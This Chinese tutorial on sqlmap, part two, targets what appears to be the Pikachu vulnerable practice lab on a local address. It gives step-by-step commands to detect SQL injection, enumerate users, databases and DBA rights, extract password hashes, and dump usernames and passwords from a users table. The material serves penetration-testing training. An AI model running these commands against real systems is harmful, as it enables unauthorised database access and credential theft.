当前位置:网站首页>SQLMAP使用教程(二)实战技巧一
SQLMAP使用教程(二)实战技巧一
2022-07-05 06:03:00 【Aτθ】
一、检测注入
检测URL GET参数的是否存在注入:
-u 检测的url
""双引号,表示这是一段字符串。
--dbms 指定攻击的数据引擎
-v 输出信息登记为1
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1
输入之后sqlmap会自动进行注入,但会有一些进行提示,需要你在终端进行确认,如果使用--batch 会自动进行默认操作,不用进行交互信息确定。
sqlmap -u "http://192.168.0.103/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 --batch
二、获取敏感信息
确定存在注入之后,接着通过获取敏感信息命令获取
--current-user 用户连接的用户;
--currnet-db 当前库;
--dbs 获取所有库;
--is-dba 是否root权限;
--passwords 获取数据库的密码。
使用这个命令 sqlmap找到密文时,会提示你是否进行hash破解,如果需要选择合适的字典。
eg:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql --current-user --current-db --is-dba --passwords -v 1 --batch
三、获取表
在获取当前库,可以根据库列出表。
-D 指定库;
--tables 列出所有表。
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu --tables
四、获取表的字段
获取某个表的所有字段。
-T 指定某个表;
--columns 获取字段。
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns
五、获取数据
--dump 是导出数据所有内容;
--dump -C "username,password" 获取字段的内容;
获取指定表的所有字段内容:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --columns --dump
获取指定表、指定字段内容。
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users -C "id,username,password" --dump
六、获取指定条数
获取总条数:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --count
获取指定id条数:
sqlmap -u "192.168.1.50/06/vul/sqli/sqli_str.php?name=1&submit=1" --dbms mysql -v 1 -D pikachu -T users --dump --start 2 --stop 3
七、删除缓存文件
参数:--flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。
边栏推荐
猜你喜欢
数据可视化图表总结(二)
中职网络安全技能竞赛——广西区赛中间件渗透测试教程文章
Personal developed penetration testing tool Satania v1.2 update
Solution to game 10 of the personal field
shared_ Repeated release heap object of PTR hidden danger
leetcode-6111:螺旋矩阵 IV
CF1634 F. Fibonacci Additions
Sword finger offer 58 - ii Rotate string left
7. Processing the input of multidimensional features
Introduction to LVS [unfinished (semi-finished products)]
随机推荐
leetcode-6108:解密消息
Introduction et expérience de wazuh open source host Security Solution
【Jailhouse 文章】Look Mum, no VM Exits
Common optimization methods
leetcode-31:下一个排列
liunx启动redis
对for(var i = 0;i < 5;i++) {setTimeout(() => console.log(i),1000)}的深入分析
CF1637E Best Pair
【Rust 笔记】14-集合(下)
Daily question - Search two-dimensional matrix PS two-dimensional array search
[practical skills] how to do a good job in technical training?
个人开发的渗透测试工具Satania v1.2更新
2020ccpc Qinhuangdao J - Kingdom's power
【Rust 笔记】13-迭代器(中)
网络工程师考核的一些常见的问题:WLAN、BGP、交换机
Graduation project of game mall
Solution to the palindrome string (Luogu p5041 haoi2009)
Time complexity and space complexity
CCPC Weihai 2021m eight hundred and ten thousand nine hundred and seventy-five
Wazuh开源主机安全解决方案的简介与使用体验